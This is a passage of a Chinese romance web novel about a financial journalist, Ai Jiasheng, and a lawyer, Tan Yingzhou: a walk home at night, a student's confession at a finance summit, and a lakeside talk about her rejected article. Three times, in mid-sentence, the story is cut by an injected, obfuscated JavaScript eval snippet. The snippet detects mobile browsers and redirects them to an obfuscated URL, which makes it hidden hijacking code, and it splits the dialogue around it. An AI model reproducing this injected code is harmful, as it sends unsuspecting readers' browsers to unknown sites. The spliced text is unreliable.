“喜欢她善良、可爱、活泼、还懂事,”说着,艾嘉笙就来劲了,“诶,你知道么,有一次佩奇生病,请斑马医生来家里看病,然后斑马医生就和大家科普,说如果感觉不舒服一定要找医生,别的小动物都在认认真真地听讲,只有佩奇一脸担忧地问,那斑马医生,你要是生病了怎么办呀,你说,她是不是懂事又可爱?” 讲完,还评价了起来,“明明她自己还是一只没有长大的小猪猪。” 谈瀛洲看着她津津乐道给自己科普小猪佩奇的认真模样,眼底压不住溺人的笑。 其实,他很想说—— 你才可爱。 - 飞机落地北京首都国际机场的时候,已经过了零点。 谈瀛洲上次过来的时候把车停在了机场的停车场,所以倒也方便他们回去。 坐上车,谈瀛洲在导航输入了艾嘉笙的小区住址。 深夜时分,北京交通难得的畅通,很快,就到达了目的地。 艾嘉笙住的这个小区私密性挺好,外来车辆不登记根本进不来,不过,登记都是人工操作,但这会儿保安正好不在值班室。 艾嘉笙看到知道,觉得没什么大不了的,心想正好也省得他开进来了,于是,伸手就去解安全带:“你别开进来了,我自己走进去就行,你路上注意安全,到家记得跟我说一声。” 谈瀛洲见状,直接挂上倒挡,退出入口之后,把车往前又开了几米,然后,停在路边熄了火:“下来吧,把你送到楼下。” 深夜时分,天地间都静悄悄的,只有清白月光照亮人间。 两个人往里面走了几步,才听到几句人声。 艾嘉笙所在的这个小区,中间有个面积还不算小的篮球场,有一群小年轻也不嫌晚,正趁着夜色在打篮球。 他们经过的时候,说巧不巧的,一个篮球飞过了拦网,就要朝他们飞过来,谈瀛洲见状,把她护在身后,长臂一伸,动作利落地将篮球打了回去。 动作娴熟利落的,让正在打球的少年忍不住喝了声彩。 艾嘉笙看着他敏捷而利落的动作,瞬间明白了,为什么青春校园剧中,男主为保护女主拦下篮球的画面层出不穷。 因为,这个场景,真的太让人心动。 艾嘉笙想,他的少年时代,一定也像现在这样,意气风发,万众瞩目。 尽管两个人都为了能和对方待更长的时间,刻意将脚步放缓。 但最终还是走到了艾嘉笙所在的单元楼下。 “那我先上去了,你路上注意安全,到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230451|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我说一声,”交代完,艾嘉笙朝他挥挥手,“拜拜。” 月光下,她的眼神清晰灵动,动作也可爱得很。 谈瀛洲看着她,忽然想起几个小时前的香港。 他是在快离开餐厅时才知道,刚才为他们点餐的那个服务员,是艾嘉笙的高中同学,在香港城市大学读研,课余时间在那家餐厅兼职。 刚才,趁着艾嘉笙不在的时候,那个人跑到他身边,偷偷跟他说了一句:“你都不知道,嘉笙昨晚给我打电话预约的位置,让我无论如何都得配合她。谈先生,再接再厉啊,争取把我们班花追到手啊。” 旁人的话语,无疑给了他勇气。 于是,看到她转身的背影,勇气和思念一叠加,谈瀛洲就没控制住自己,叫住了她:“艾嘉笙。” 她闻言转身的时候,他正好朝他走了一步,与此同时,长臂一伸。 于是,艾嘉笙严丝合缝地,跌入一个稳稳当当的怀抱。 感受到他宽厚温热的胸膛,她下意识僵住脊背,不敢乱动。 虽然奔波了一天,但他身上的气息依然清澈干净。 月光下,他倍感珍惜地抱着她,许久都没有说话。 只有清浅的呼吸,落在她白皙的后颈。 这一瞬间,艾嘉笙脑海中蓦地涌出一个问题—— 月光怎么会发烫? 如果不会,该如何解释,她此时此刻,滚烫的后颈,泛红的耳朵,和暖烘烘的心脏。 谈瀛洲抱着她,将自己澎湃的心绪压了又压,才开口说话。 不过,看似平静的语气里,还是藏着很深的情绪:“今天谢谢你。” 他声音真挚轻盈,仿佛绕肩而过的清风,在她耳尖,泛起一阵酥酥麻麻的触感。 但这会儿,时间早已过了零点。 于是,艾嘉笙听了,思维缜密地反驳:“是昨天啦。” 语气是她自己都没有意识到的娇嗔。 说完,又好奇地问他:“对了,我都忘了问你,你今年多大了?” 谈瀛洲在她耳边沉沉一笑:“不告诉你。” “嗯?” “怕你嘲笑我老。” 艾嘉笙听了,从他怀里挣脱出来,看着他,跟要讨个公道回来一样,眼睛瞪得老大:“我怎么会是那样的人呀!” 看她这个样子,谈瀛洲快笑疯了:“艾嘉笙,你这人真的是......” “我怎么了?” 谈瀛洲没回答,就这样,静静地看着她。 天地间,只有月亮知道,他没说出口的后半句话是: 你这人真的是—— 让人在劫难逃。 - 这个夜,漫长、绵柔、含着丝丝悸动。 上了楼之后,大约过了半个小时,艾嘉笙的手机终于响了一声,点开一看,是谈瀛洲。 谈:【已平安到家】 下面跟着一个小猪佩奇说晚安的表情包。 表情包里的佩奇顶着一张吹风机,笑得傻萌傻萌的。 看着这张图,艾嘉笙不禁想到他凛着神色,在手机上寻找小猪佩奇表情包的样子,忍不住笑出了声。 心想:这人,怎么傻傻的。 是啊,怎么傻傻的。 傻傻的,用一个又一个的特质,在她心间,荡开麦浪般的涟漪。 初见时,他才气逼人,光彩夺目。 后来接触下来,还发现他知识渊博,眼界广阔。 再后来,又发现他身上还有着最令人心动的少年意气和孩子心性。 再后来,艾嘉笙低头,又看了眼他发过来的表情包。 ——嗯,还有点傻。 此刻,她刚洗过澡,坐在自己的书桌前。 映着浅浅花纹的木质书柜上,整齐有序地摆放着她读过的书。 其中有一本,红色书封,格外耀眼。 是伍尔夫的《奥兰多》。 她第一次读这本书是在大学。 阅读过程中,她在为情节的巧思和观点的碰撞动容的同时,还有句话,在她脑海中留下了十分深刻的印象。 艾嘉笙当时看到那句话的时候,第一反应就是想: 这个世界上会有像作者描写的那样的人么? 而如今,时过境迁。 晚风煽动温柔的书页,她多年前的发问,终于,在此刻得到了姗姗来迟的答案。 ——有的。 [活力、风度、浪漫、憨傻、诗意、青春。 ——她读他,就像读书一样。] 10. 我有嘉宾 人们总是习惯提前对尚未到来的明天预支情绪,所以,周日的晚上向来比周五的晚上要难捱得多。 但今天,在和他共度的这个夜晚,艾嘉笙忽然觉得,哪怕是需要工作的明天,也挺值得期待。 或许,有些人不用说什么,也不用做什么,他的存在本身,就会让你对每一天都充满期待。 跟他道过晚安,艾嘉笙吹干头发,很快便进入了梦乡。 翌日,新的一周,艾嘉笙起了个大早。 到了公司,先是每周例行的早会时间,这周有个大事件,那就是从明天开始,第二十六届国际金融峰会将在国家会议中心举办,《财经周刊》作为最主流的财经媒体,这次的采访工作自然不会少。 沈彬这人除了写得一手好文章,还很有领导手段,每次开会都效率极高,没有任何场面话和废话。 在大家依次说完自己上周的工作总结以及这周的工作计划后,沈彬针对每个人的发言提出了需要改进的地方,并分配了每个人的采访任务,很快,会议在高效率中结束。 艾嘉笙随着人群走出会议室,回到座位上之后,先是把已经修改了多次的采访稿发给了沈彬,然后开始为明天的金融峰会做准备工作。 过了十分钟,沈彬把她叫进了办公室。 一周前,采访完成弘,艾嘉笙依旧是趁热打铁地写完了稿,写完之后,满怀信心地发给了沈彬。 因为准备工作做得足够充分,采访过程也很顺利,所以,她对自己的这篇稿子还挺有信心,觉得自己的深度挖掘得很够。 本以为会像往常一样一次通过,结果,这次,却收获了与之相反的结果。 沈彬当时看完她写的稿子,直接撂了句:“稿子不能像你这样写,你这样写根本没人会看。” 听到这句话的那一刻,艾嘉笙有点懵。 毕竟,她之前的文章,几乎次次都是爆款,身为财经记者,她总是能轻而易举地将商业社会中的热点问题抽丝剥茧、深入浅出的输出,也因此,沈彬多次对她的稿子赞赏有加。 但这次,沈彬却下了一个不太乐观的评语,并且,不是说她让她再改一改,而是直接说稿子不能像你这样写。 这无异于是全盘否定。 所以,上一周,艾嘉笙利用业余时间,将这篇文章改了很多遍,每次都感觉自己写得比之前更好,更有深度。 可是,就在她改了无数次,于今天再次满怀信心地提交上去的时候,沈彬看着她的稿件,直接给她撂了句:“你先别着急改,先看看别人是怎样写的。” 这话实际就是在说,她这么多次的修改,其实并没有太大意义。 努力白费。 多么让人感到无力的四个字。 “这周先忙峰会的事情吧,”沈彬没有要求她立刻写出一个令他满意的稿件,而是让她先放放,“这个专栏不着急。” 艾嘉笙:“好。” 工作成果被上司否定,是个人心里肯定都会有些不是滋味。 更何况,艾嘉笙这样对自己要求极为严苛的人。 于是,这天,除却金融峰会的准备工作,她还利用碎片化时间,看了前辈们的优秀采访稿。 但是,她左看右看,还是不明白自己这篇稿子的问题出在哪儿,明明行文流畅、逻辑清晰、深度也够,这要是放在之前,肯定是一遍过。 但这次,就是怎么都过不了关。 考虑到明天的工作依然重要,艾嘉笙才没在这个稿子上内耗自己太多的精力和情绪,把明天的工作在脑海里过了一遍,然后拿上电脑下了班。 翌日,国际金融峰会在国家会议中心准时举行,来自世界各地的商界、政界、学术界人士纷纷出席,在此汇聚一堂,力图探索出未来金融发展的新格局和新方向。 作为《财经周刊》的记者,艾嘉笙和同事们一起,全程参与了采访和撰稿,并且完成了好几篇高质量的稿件。 除此之外,她还收获了一个意外之喜。 那就是在这次峰会上遇到了陈礼卿。 陈礼卿,同传出身,后赴美国攻munication硕士学位,曾在华尔街采访过无数重要人物。 去年,在她过完自己的三十五岁生日之后,选择回国创办财经自媒体,如今粉丝量早已过百万,是众多人心中名副其实的财经女神。 第一天上午是开幕式,这天的陈礼卿,妆容精致,短发利落,穿着一身深灰色西装套裙,脚踩着一双黑色高跟鞋,整个人飒爽干练,又从容不迫。 作为开幕式的中英双语主持,她拿着话筒站在台上,是那样的游刃有余。 姿态和语气看似随意,实则处处点题,时不时还能用适当的幽默活跃一下气氛,轻而易举把控全场。 艾嘉笙坐在台下,看着台上的这位前辈,忽然觉得她离自己想要成为的人,还有很长的路要走。 下午六点半,会议结束,与会人员渐次离场,很快,会议室变得空空荡荡。 这个点正值晚高峰,艾嘉笙不愿意去挤地铁,于是在会议室找了个靠后的座位坐下,想着把今天的稿子整理完再回去。 巨大的玻璃窗外,是北京的地标性建筑,鸟巢。 此刻,夕阳的余晖倾泻而下,为这座钢铁筑成的建筑,冲撞出一种惊艳的柔情。 把今天的采访稿写好,艾嘉笙打开另一个word文档,正准备着手细化一下采访胡君生的那篇稿子。 就是在这时,没有任何预兆的,一道干净清澈的少年音在她耳边响了起来:“嘉笙师姐。” 声音不大,但因为她太过于专注在自己的工作中,所以听到的时候,整个人还是惊了一下。 艾嘉笙闻声抬眸,看到一个穿着白色polo衫、长相干净的男生朝她走了过来,胸前还挂着一个工作牌。 艾嘉笙看着面前这个年轻小伙,回想了下,才想起来他是自己的小师弟,名字叫陈曦。 录音工程专业,与祝鲸海关系甚笃,但艾嘉笙跟他并不算熟,只是一起排练过、有过几面之缘的关系。 在工作场合看到同校师弟,艾嘉笙一脸惊喜地站起了身,跟他打招呼:“陈曦?你怎么在这儿?” “师姐好,”陈曦走到她面前,笑容满面地回,“今天我跟老师过来,负责本次会议的音响设备。” “这样啊,辛苦了。” “不辛苦,应该的。” “如果我没记错的话——”怕冷场,艾嘉笙找着话题,“你开学应该就大四了吧?” 陈曦“嗯”了一声。 应完,他低头沉默了片刻。 不知过了多久,才抬眸,看着艾嘉笙,又叫了她一声:“师姐。” 艾嘉笙:“嗯?” 陈曦看着近在咫尺的她,双手紧紧拽了下自己的衣摆,最后,终于鼓足勇气,脱口而出了那句: “我喜欢你。” 艾嘉笙:“???” 什么? 勇气这东西,从来都是开头难。 一旦开了头,后面也就无所畏惧了。 所以,陈曦看着她,勇敢地道出了自己这几年来所有的心路历程:“我知道你可能会觉得有些唐突,但我怕再不跟你说,就会错过最好的时机。” “我见你第一面就很喜欢你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230452|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是我一直没有勇气表白,一直旁敲侧击地通过祝鲸海了解你的消息。” “我马上要大四了,在纠结是出国读研,还是留在国内,如果你愿意给我一个机会的话......” “陈曦,”听到这儿,艾嘉笙利落地打断了他的话,“你不是真心话大冒险输了吧?” “不是,”少年轻轻摇头,罕见的有些局促,“师姐,我也没让你现在就喜欢我,我只是希望,你可以给我一个机会。” 艾嘉笙:“......” 面对他突如其来的直白爱意,艾嘉笙在心中叹了口气,然后,琢磨着以怎样的理由,才能在既不伤害他的同时,也能让他死心。 “陈曦,你知道么?” “什么?” “我有个弟弟。” 陈曦不知道她为什么突然提起这个,有些茫然地应:“这个我还真不知道。” “他比我小两岁。” “......所以呢?” “所以你在我眼中跟我弟弟是一样的。” “......” “然后,我这人不太能接受姐弟恋,所以,很抱歉。”就这样,艾嘉笙用伤害性最小的说辞直白拒绝了他的好意,说完,怕他尴尬,正准备道声别往外走。 但是,想起他刚才说的那一番话,艾嘉笙忍不住又多说了几句:“还有,不管你是出国读研,还是留在国内,这个选择,都应该从你对自己未来的职业规划出发,而不是因为某一个人,去做这个决定。” 说完,艾嘉笙把笔记本电脑收进自己的包内,“我这边工作完成,就先走了,希望你学业顺利,可以找到相伴一生的伴侣。” “师姐!”看她离开,陈曦忍不住叫住她,“你为什么不能接受姐弟恋?” “这只是我的个人癖好,”艾嘉笙转过身,看着他,很认真地答,“当然,我不是说姐弟恋不好,我身边也有姐弟恋的情侣,他们生活的很幸福,我也很祝福他们,但每个人都有自己的择偶标准,我不太喜欢比我小的。” “观念是可以改变的,不是么?”陈曦看着她说,“再说,你也就比我大三岁而已,俗话说的好,女大三,抱金砖。” 艾嘉笙:“............” 现在的零零后都这么猛了吗? 这八字还没一撇呢,谁跟你女大三抱金砖啊。 “陈曦,我......” 艾嘉笙正想再说几句,彻底打消他的念想,结果,话还没说完,突然之间,没有任何预兆地,一个清沉磁性的声音从身后响了起来。 “这话说的是没错,”那人一边朝他们走近一边说,“但这话后面还有一句话,我觉得说的更有道理。” 闻言,陈曦抬眸,看着从门外进来的这位惊天大帅哥,心想:他是谁? 至于求知欲十足的艾嘉笙,则是背对着那个人,心里想着:她怎么不知道,这话后面还有一句话? 她凝神思索时,谈瀛洲已经走到她身边,与她并肩而立。 这次,他依然是没打任何招呼就出现在了她身边,但艾嘉笙丝毫没有觉得突兀或惊吓。 仿佛两个人之前约好,他就该这个时候出现一样。 于是,艾嘉笙看着他,跟唠家常一样,自然而然地问了一句:“这话后面还有一句话?” 谈瀛洲站在她身边,西装笔挺,模样英俊。 他看着对面那个男生,低低应了声:“嗯。” 艾嘉笙好奇心十足地追问:“是什么?” 谈瀛洲转过身,看着她的眼睛,郑重其事的答: “男大三,抱金山。” 11. 我有嘉宾 此话一出,气氛骤然安静了。 这会儿的艾嘉笙和陈曦倒很有默契,听了这句话,心里浮现出同样一个问题,那就是:这话,是真的还是假的?怎么之前从没听人说过? 陈曦一边想着,一边抬眼,看着站在艾嘉笙身边的那个男人。 来人一身西装笔挺,面容清隽帅气,气质沉稳矜贵。 有些争锋,根本不必搬上台面,就能预料到结果。 尤其是同性之间。 甘拜下风虽然很痛苦,却也不得不。 读懂了他的眼神,要说此时的陈曦不难过,那是假的。 可单方向的喜欢,注定要承担,一些意料之中的遗憾。 所以,他没再多问,准备道声别就离开。 但正要迈出脚步的那一刻,他忽然想起艾嘉笙刚才对他说过的一番话。 怕她误解,于是,陈曦没立刻就走,而是看着艾嘉笙,认认真真地解释道:“师姐,不论我是出国读研,还是留在国内读,都各有各的优势和挑战,我刚才之所以那样问你,是因为我觉得你能够成为这个选择中的一个影响因素,仅此而已。我没有想要因为你放弃自己的前程,你也从来没有掣肘过我前进的脚步,你对我来说,一直都是美好的、向上的存在。” 夕阳下,少年的目光干净坦荡:“师姐。” 艾嘉笙抬眸,以同样坦荡的眼神回视着他:“嗯?” “遇到你真好。” “谢谢,”听到这样的肯定,艾嘉笙心生一暖,看着他微微一笑,“我也很开心能认识你。” “那我先走了,”说着,陈曦朝她摆了摆手,“希望你,每天都开心。” “嗯,你也是。” 话落,她就看到陈曦迈开脚步走了出去。 步伐虽有停顿,但身形却利落挺拔。 少年啊,请你别灰心—— 你勇敢真诚的心意一经表明, 哪怕遗憾折返,你也早已是自己的常胜将军。 - 陈曦走后,会议室就只剩下了他们两个人。 气氛安安静静的。 艾嘉笙就是在这个时候转过了身,看着突然出现在这里的男人,将自己的心绪拨回到了他刚才说过的那句话上。 她在心里大胆猜测了一番,试探着问:“谈瀛洲。” 谈瀛洲目光落在她身上:“嗯?” 艾嘉笙问:“你比我大三岁吗?” 谈瀛洲没想到她这么容易就入了他的话术陷阱,朝她走近一步,走到她身边之后,身子微倾,目光和气息一同凑近。 他贴近她的耳朵,沉沉一笑:“怎么,想抱金山了?” 他突然的凑近,让艾嘉笙手心一紧。 略微一抬眼,他清隽的眉眼便近在咫尺,看向她的时候,眼底的笑意昭然若揭。 就是这一眼,搅得安静的气氛瞬间躁动了起来。 艾嘉笙:“!!!” 啊啊啊天呐天呐天呐不带这么犯规的吧! 看出她羞赧,谈瀛洲逗到即止,把这个话题掀了过去:“艾嘉笙,你看我出现在这里,好像一点都不惊讶。” “这有什么可惊讶的,”艾嘉笙觉得他这个问题问的有点傻,“你上午不还参加开幕仪式了么。” 作为业界代表性企业,JH律所也在此次峰会的邀请之列,而谈瀛洲就是JH律所派出的参会代表。 开幕仪式时,他坐在一群有资历的大佬中间,却没有丝毫违和感。 那种沉静却强大的气场,浑然天成。 他穿着一身正装,对主持人提问的有关金融监管下法律政策的变革问题,回答得深入浅出,对答如流。 那份专业的从容和英俊到无可挑剔的脸,让他轻而易举,成为视线焦点。 任何一个观众,都不可能忽视他。 更别说和他认识的艾嘉笙。 “原来你看到我了啊,”谈瀛洲听了低低一笑,语气故意含着一丝委屈,“我还以为你没看到呢。” 艾嘉笙:“......” 他咄咄逼人地追问:“看到我怎么不过来跟我打个招呼?” “因为你一直在忙,”艾嘉笙如实道,“再说,采访你的记者又不是我。” “那你就不会跟她换个班?” “我......”艾嘉笙觉得这人真的是幼稚得很,盈盈含水的目光抬起,瞪了他一眼,“采访任务都是主编说的算,我们又做不了主。” 这次的会议因规模庞大,被细分成了不同的版块,采访谈瀛洲的那个同事是学法律出身,她去采访肯定比艾嘉笙更合适。 听到这个解释,谈瀛洲勉强放过了她,然后,把矛头对准了自己:“成,那我再努力努力。” 艾嘉笙被他这突然转的话题弄得有点懵:“你努力什么?” “我再努力努力,争取以后能厉害到——” “嗯?” “指定你来采访我。” 艾嘉笙:“!!!” 啊啊啊他又犯规! “走吧,”怕她饿着,谈瀛洲没再逗她,“吃晚饭去。” 语气自然而然,又跟两个人提前约好了一样。 艾嘉笙不知不觉就被他安排得明明白白,所以,有些不服气地哼了一声,拒绝道:“我没说要跟你一起吃晚饭。” 听出她话里无理取闹的意味,谈瀛洲拉长音调“嘿”了声,好整以暇地跟她翻旧账:“艾嘉笙,昨天我辛辛苦苦地把你送到你家楼下,今天你连陪我吃个晚饭都不愿意了?” 艾嘉笙:“......” 他他他...... 他这人怎么这样! “上午看到我,也不打招呼。” “.......” “一晚上没见,学坏了啊。” “......” 看他这样无理取闹,艾嘉笙忍无可忍,小声嘟囔了句:“也不知道是谁坏。” 谈瀛洲听出她语气中的不满,气极反笑:“你说什么?” “没什么,”艾嘉笙才不上他的当,“走走走,吃饭。” 说完,也不等他,就踩着高跟鞋往外走了。 她今天穿了一条真丝面料的灰蓝色衬衫裙,质感上乘,裁剪细致,将她整个人衬得清丽又干练。 此刻,裙摆随着她走动的幅度,翩然而起。 谈瀛洲站在那里,看着她往外走的窈窕背影,唇角控制不住地扬了起来。 - 奥体中心有一个自带的下沉商场,集购物、娱乐、餐饮、影院于一体,虽然面积不大,但是一应俱全。 两个人进去之后,看了眼各家店的排队情况,最后选择了一家口碑还不错的东南亚餐厅。 吃过饭,考虑到谈瀛洲比较少来这边,艾嘉笙便带着他来到了附近的奥林匹克森林公园散步。 北京是个内陆城市,不临海,所以,想要看水,只能找到几个人工湖,来一饱眼福。 奥体中心的这片湖,面积不小,粼粼水波在夜色的衬托下,看起来已足够赏心悦目。 湖边,有少年背着吉他在唱歌,周边还围了不少的观众。 唱完一曲,有观众笑着点歌,问他能不能来一首粤语歌。 少年说好。 他选择唱的,是一首传唱度极高的粤语歌曲,《下一站天后》。 不肖片刻,粤语的独特发音,便随着他手中吉他的旋律一起,缓缓溢满了这方夜色。 身为听众的艾嘉笙和谈瀛洲,看着这一幕,瞬间梦回两个人在深圳的那个夜晚。 也是这样,有水波粼粼,有晚风轻轻,有歌声盈盈。 不过,想到在深圳的那次采访,艾嘉笙忽然生出了一种和当时不太一样的情绪。 成弘的采访稿没有过关,那就意味着,胡君生的采访稿,依然会存在很大的问题。 这份难题的突破,她还没有找到思路。 想到这儿,她微微放慢了些脚步。 但她细微至极的改变,依然没能逃出他的双眼。 “艾嘉笙,”看出她状态不对劲,谈瀛洲叫住她,“你是不是工作不顺利?” “没事,”艾嘉笙看着脚下波光粼粼的湖水,轻轻摇头,“小问题而已。” 稿子没过,这事说大不大,说小也不小。 但要是说出来,显得太矫情了。 她自己沉淀沉淀、琢磨琢磨、拧巴拧巴,说不定哪天就开窍了。 谈瀛洲看出她的欲言又止,一点都不想让她通过自我较劲来度过这个夜晚,于是又叫她:“艾嘉笙。” “嗯?” “如果可以,你要不要跟我说说?” 闻言,艾嘉笙抬眸,径直对上他的目光。 那是一双如清潭般,让人心动的眼。 这一刻,艾嘉笙都不知道自己哪里来的自信,就是笃信他能够懂她。 恰好一阵风拂过,艾嘉笙定了定眸,没直接道出自己工作中面临的难题,而是讲起了一件往事:“其实,我跟沈老师并不是在杂志社认识的,之前,我还在读大学的时候,曾经在一家创业公司实习,沈老师是那家公司的战略顾问,有个项目是他带的。有一次,我们公司和一家高新科技公司开会,想要互相了解一下对方,顺带评估一下未来可以合作的意向,开会时间是在周末,当时沈老师就对我们这群实习生说,如果有时间可以过来参加,我当时抱着学习的心态就去了,到了才发现,那天就我一个实习生来了。” 说完,她看着谈瀛洲,有些涩然地笑了一声:“你是不是觉得我还挺努力的?” 谈瀛洲看着她,无声地挑了挑眉。 似是在问:“那不然呢?” “但后来,我才知道——”艾嘉笙接着说,“开会之前,双方的负责人要先介绍一下各自的团队,那次是对方公司先介绍的,介绍完我才知道,对面坐着的一溜人全部都是常春藤毕业的硕士或博士,并且有着非常丰富的工作经验。所以,我那个时候就有点局促,想着等会儿沈老师介绍到我的时候肯定会很头疼,我想着他是会一笔带过,还是会直接忽视。” 说着,艾嘉笙话锋一转,目光也陡然清亮了起来。 她轻轻吸了下鼻子,说道:“但我没想到——” 谈瀛洲问:“没想到什么?” 艾嘉笙说:“没想到沈老师用了最长的时间来介绍我。” 在那样一个环境里,他这样偏心的介绍,说白了,就是在为她的未来铺路。 在这个物欲横流,什么都能明码标价的社会,有一个前辈愿意倾力提携你,给你机会,这是多么珍贵。 所以,艾嘉笙不想辜负他的期待。 “所以,我特别不想让他失望。” 而现在,她的工作价值就是写出一篇篇高质量的稿件。 沈彬把《人物聚焦》这么重要的版块交给她负责,她自然不能辜负这份信任。 前几天,她看着拟采访的人物名单,随便一个都是分量颇重,这些人物,如果不是沈彬牵线搭桥,她可能这辈子都够不上,更别说采访。 艾嘉笙这人觉得自己要是占了便宜,就得创造出N倍的价值,才能安心。 但现在,她连一篇令人满意的稿件都写不出来。 她从来不怕工作的高强度,但她怕辜负信任。 谈瀛洲听她讲完这个故事,瞬间明白了她所有的压力来自何方。 想起那次,他无意间听沈彬跟成弘聊起:“知道我为什么看重这姑娘吗?别人进入一个行业,先是看到贼吃肉,她是先看到贼挨打,这小姑娘从来不把成长必经的考验当成负担。” 所以,面对挑战和压力,她默不作声,却进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230453|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步神速。 在这一刻,谈瀛洲理解了她。 像极了几年前的他,什么都要求自己做到最好。 不允许自己落后,不允许自己出错,不允许自己辜负任何人的期待。 这种状态,他相信她一定能在未来的某个时间突破。 但他想让她,以柔和的方式突破。 而不是,以自我怀疑和痛苦挣扎去突破。 “艾嘉笙,”谈瀛洲以年长她三岁的身份,开口道,“这个世界上,没有无缘无故的青睐。” “沈老师看重你,肯定是因为你身上有值得他看重的地方。” 他看着站在月光下的她,利用律师惯有的缜密逻辑,对她说道:“你刚才给我讲的那个故事,你的逻辑链条,遗漏了最重要的一环。” 艾嘉笙茫然地问:“什么?” 谈瀛洲说:“你能够让他介绍你的时候,言之有物。” 艾嘉笙听了,目光倏地一顿。 感觉自己的心中,有些东西在轰然倒塌,又有些东西在无声发芽。 谈瀛洲看着她,目光里都是温柔的赞赏:“你把自己的优秀,看得太理所应当了。” 他说话时,是柔和的低音,却让她的心重重一颤。 艾嘉笙听着,忽然感觉自己手中好像又多了一张底牌。 沉默片刻,她看着他,俏皮地笑了声,然后说:“我离优秀还远着呢。” “你知道陈礼卿吧,就是今天开幕仪式的主持人,她才是真正的优秀,”艾嘉笙说,“我当时坐在台下,让自己的思路跟着她的思路走,走完这一程,才知道她为什么能写出那么好的文章,思路太活泛了,一看就是有阅历的人才能写出来的东西。” 而这份阅历,恰恰是她现在缺失的东西。 “陈记者很优秀,她从业多年,采访一定比你老练,落笔也一定比你精准。” 谈瀛洲看着她,没有虚伪夸奖,没有敷衍安慰,只有基于事实的客观对比:“但她笔下的文章,不一定有你的温度和视角。” 艾嘉笙听着,眸光一闪。 “艾嘉笙。” “你不能抛开年龄,只谈阅历。” “阅历建立在时间这个硬性标准之上,不是吗?” “是,”艾嘉笙没有否认,“可是我着急。” 谈瀛洲问:“你着急什么?” 艾嘉笙看着他,脱口而出一句:“我着急变得更好。” ——遇到你之后,我更着急了。 人外有人,天外有天。 这个道理,她从小就知道,然后,越往上读书,越去看这个世界,她对这个道理,就越是了解。 只不过,之前,这话对她来说是鞭策,鞭策自己变得更好。 但现在,这话对她来说,有一种追赶的心急。 ——她着急着,想要和他站在一样的高度,看一样的风景。 谈瀛洲看出她眼中的急切,目光有片刻的怔愣。 她仰望着在台上游刃有余的他。 殊不知,从台上看过去,人群中的她,有多么闪耀。 就像他之前听过的一种形容:“这是个即使放在人群里,也能被人一眼挑出来的姑娘。” 更何况,年纪轻轻,就被主编钦点负责一个专栏,虽然起步有些不顺,但这份钦点,本身就是一种肯定。 谈瀛洲看着她,心中无比确定:她就是那种前途无量的女孩。 明明有骄傲的实力,却依然怀揣着一颗谦卑的赤子之心。 “会的,你一定会越来越好,”谈瀛洲看着她,声音笃定又温柔,“所以,别着急,慢慢来。” “艾嘉笙,我不想跟你说,十一年后的你,一定比陈礼卿优秀。” “因为在我心中,你从来不需要通过与他人比较的方式,来证明自己。” “但我想告诉你的是,那个时候的你,一定能让自己更满意。” 说着,他用目光示意她竖起耳朵:“不信,你听。” 不远处,那个弹着吉他的少年,还在唱着那首《下一站天后》。 艾嘉笙将注意力移到歌声上的时候,他正好唱到高潮那一句: “在时代的广场,谁都总会有奖。” 在时代的广场,谁都总会有奖。 这么努力的你,也一定能收获属于自己的嘉奖。 天边明月高悬,倒映在湖面上,成就人间的月亮。 艾嘉笙在月光下看着他,想起他刚才对自己说的那番话,心思瞬间就软得不成形状。 眼前这个人,无条件地站在你这边,无条件地相信你,无条件地对你说—— 你就是最好的。 你终究会抵达想要的彼岸。 “谈瀛洲。”她在月色下轻轻出声。 “嗯?” 等来他的回应之后,艾嘉笙忽然觉得想说的话太多,但又不知道该从何说起。 于是,敛眉一笑,把这个话题岔了过去:“没什么。” 但谈瀛洲这次可不打算放过她,非要寻个答案:“艾嘉笙,你刚才说没什么,我就饶了你,事不过二,这次不能再饶了。” 艾嘉笙听了,叉腰跟他狡辩:“别人都是事不过三。” “不是说了么,咱们只跟自己比,不跟别人比。” “......” “说,刚才叫我名字干什么?” “真的没什么,”艾嘉笙笑着说,“我就是想问问,你的名字是谁起的?” “我父亲,怎么了?” 艾嘉笙看着他,唇角扬起,眼睛弯得像月牙一样:“觉得他起的名字很好。” [海客谈瀛洲,烟涛微茫信难求。] 能够穿越千年光阴的诗句,从来不打诳语。 他是她生命中的可遇不可求。 她对此格外坚定。 12. 我有嘉宾 光影浮动的夜色里,她微妙的心绪,就这样浸染上一层月染的诗意。 其实,谈瀛洲猜到她应该是在心中感叹他父亲给他起的这个名字好,但他偏偏要反其道行之。 于是,看着她,装听不懂地问:“怎么?你想见?” 这话没主语,艾嘉笙沉浸在自己的小世界里,一下没反应过来:“啊?” 谈瀛洲:“我爸。” 艾嘉笙:“我……” 